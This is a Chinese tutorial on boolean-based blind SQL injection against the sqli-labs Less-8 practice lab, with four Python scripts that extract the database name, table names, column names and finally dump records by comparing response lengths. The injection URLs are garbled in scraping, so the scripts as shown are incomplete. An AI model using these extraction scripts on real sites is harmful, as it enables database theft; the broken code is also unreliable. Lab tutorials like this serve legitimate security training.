SQL注入之基于布尔的盲注详解

http://localhost/sqlilabs/Less-8/"
http://localhost/sqlilabs/Less-8/"htmlcode">

select field from table where id='userinput'


id参数是被单引号包括的。其他的信息我们就无法得到了。
得到数据库的名称
在得到数据库的名称之前，首先需要得到数据库的长度


http://localhost/sqlilabs/Less-8/"htmlcode">

def get_db_name():
 result = ""
 url_template = "http://localhost/sqlilabs/Less-8/"
 chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
 for i in range(1,9):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #返回的长度只有706和722
   if length>706:
    result += char
    break
 print(result)


得到最后的结果的是security，是正确的。
得到数据库中的表信息
其实所有的SQL注入步骤都是类似的。首先得到数据库的名称(这一步不是必须的)，然后得到当前数据库的表名称，然后得到表的字段，最后进行脱裤。这个步骤在前一章已经有说明了。


首先看一个简单的SQL盲注获取数据库表信息的写法。


http://localhost/sqlilabs/Less-8/"htmlcode">

http://localhost/sqlilabs/Less-8/"htmlcode">

def get_table_name():
 result = ""
 url_template = "http://localhost/sqlilabs/Less-8/"
 chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
 for i in range(1,7):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #返回的长度只有706和722
   if length>706:
    result += char
    break
 print(result)


最后得到了第一个表名是emails,如果要得到其他的表名只需要将代码limit 0,1修改成为limit 1,1或者是其他的就可以了。
得到表名的列信息
在得到列名之前，同样需要知道在表中的字段长度。例如我们想要知道在emails表中的长度，那么就可以使用如下的语句来获取。


http://localhost/sqlilabs/Less-8/"htmlcode">

http://localhost/sqlilabs/Less-8/"htmlcode">

def get_column_name():
 result = ""
 url_template = "http://localhost/sqlilabs/Less-8/"
 chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
 for i in range(1,3):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #返回的长度只有706和722
   if length>706:
    result += char
    break
 print(result)


通过上面这个代码，我们可以得到在emails表中存在的字段名称分别是id和email_id
脱裤
在得到了字段名称之后，接下来最重要的一步就是进行脱裤了。

在进行脱裤之前，我们首先判断在emails表中有多少条记录。
使用的语句如下：


http://localhost/sqlilabs/Less-8/"htmlcode">

http://localhost/sqlilabs/Less-8/"htmlcode">

def get_data():
 result = ""
 url_template = "http://localhost/sqlilabs/Less-8/"
 chars = '.0123456789@ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz'
 for i in range(1,17):
  for char in chars:
   char_ascii = ord(char)
   url = url_template.format(i,char_ascii)
   response = requests.get(url)
   length = len(response.text)
   #返回的长度只有706和722
   if length>706:
    result += char
    break
 print(result)


通过上面的这段代码就得到了内容是Dumb@dhakkan.com,其他的内容就同样通过这段方式得到数据了。这里就不作演示了。
总结
其实基于布尔盲注和基于时间的盲注都是需要编写大量的代码，就像本篇的文章一样。之前在简单的SQL注入中，一句SQL注入代码就可以解决的问题在这里就需要编写Python代码来进行大量的注入测试才能够得到内容。其实之前我也很少完整的用Python来编写SQL注入代码完成整个布尔盲注的注入过程。通过本章的编写，熟悉了使用Python代码完整地进行一次布尔盲注的过程了，学习了很多。以上就是这篇文章的全部内容了，希望对大家能有所帮助。



        

            
上一篇：有效防止SQL注入的5种方法总结
            
下一篇：关于SQL注入中文件读写的方法总结